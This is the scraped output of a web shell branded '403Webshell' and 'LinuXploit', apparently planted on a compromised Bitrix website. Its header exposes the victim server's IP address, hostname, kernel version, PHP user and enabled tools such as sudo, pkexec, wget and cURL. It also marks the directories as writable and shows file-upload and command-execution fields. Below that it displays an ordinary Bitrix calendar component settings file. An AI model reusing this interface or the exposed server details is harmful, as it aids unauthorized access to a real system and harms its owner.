403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/calendar.grid/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/calendar.grid/.parameters.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
if(!CModule::IncludeModule("calendar"))
	return;

$adv_mode = ($arCurrentValues["ADVANCED_MODE_SETTINGS"] == 'Y');
$eventListMode = ($arCurrentValues["EVENT_LIST_MODE"] == 'Y');
$bSocNet = CModule::IncludeModule("socialnetwork");

if($bSocNet)
	$bSocNet = class_exists('CSocNetUserToGroup') && CBXFeatures::IsFeatureEnabled("Calendar");

$arTypes = array();
$types = CCalendarType::GetList();
if (is_array($types))
{
	foreach($types as $type)
		$arTypes[$type["XML_ID"]] = "[".$type["XML_ID"]."] ".$type["NAME"];
}

// * * * * * * * * * * * *  Groups * * * * * * * * * * * *
$arComponentParameters = array();
// $arComponentParameters["GROUPS"] = array(
	// "BASE_SETTINGS" => array("NAME" => GetMessage("EC_GROUP_BASE_SETTINGS"), "SORT" => "100")
// );

//* * * * * * * * * * * Parameters  * * * * * * * * * * *
$arParams = array();
$arParams["CALENDAR_TYPE"] = Array(
	"PARENT" => "BASE",
	"NAME" => GetMessage("EC_TYPE"),
	"TYPE" => "LIST",
	"VALUES" => $arTypes
);

if (CCalendar::IsIntranetEnabled())
{
	$arParams["ALLOW_SUPERPOSE"] = Array(
		"PARENT" => "BASE",
		"NAME" => GetMessage("EC_P_ALLOW_SUPERPOSE"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "Y"
	);

	$arParams["ALLOW_RES_MEETING"] = Array(
		"PARENT" => "BASE",
		"NAME" => GetMessage("EC_P_ALLOW_RES_MEETING"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "Y"
	);
}

$arComponentParameters["PARAMETERS"] = $arParams;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit